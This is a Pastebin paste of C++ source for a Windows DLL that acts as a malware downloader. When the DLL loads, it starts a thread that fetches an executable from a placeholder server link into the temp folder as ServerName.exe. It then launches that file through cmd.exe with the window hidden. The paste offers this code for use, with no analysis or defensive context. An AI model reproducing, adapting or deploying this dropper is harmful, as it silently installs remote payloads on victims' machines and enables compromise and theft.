Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #pragma comment(lib, "UrlMon.lib")
- #include <stdio.h>
- #include "stdafx.h"
- #include <Shellapi.h>
- #include <Windows.h>
- #include <iostream>
- #include <UrlMon.h>
- #include <cstdlib>
- #include <TCHAR.H>
- #include "Shlwapi.h"
- using namespace std;
- TCHAR lpTempPathBuffer[MAX_PATH];
- void DownFile(void)
- {
- GetTempPath(MAX_PATH, lpTempPathBuffer);
- _tcscat_s(lpTempPathBuffer, MAX_PATH, L"\\ServerName.exe");
- HRESULT UD = URLDownloadToFile(0, L"Server Direct Link", lpTempPathBuffer, 0, 0);
- ShellExecute(0, 0, L"C:\\Windows\\system32\\cmd.exe", L"/k start %TEMP%\\ServerName.exe & exit", NULL, SW_HIDE);
- }
- BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- CreateThread(0, 0,(LPTHREAD_START_ROUTINE)DownFile, 0, 0, 0);
- break;
- }
- return TRUE;
- }
Add Comment
Please, Sign In to add comment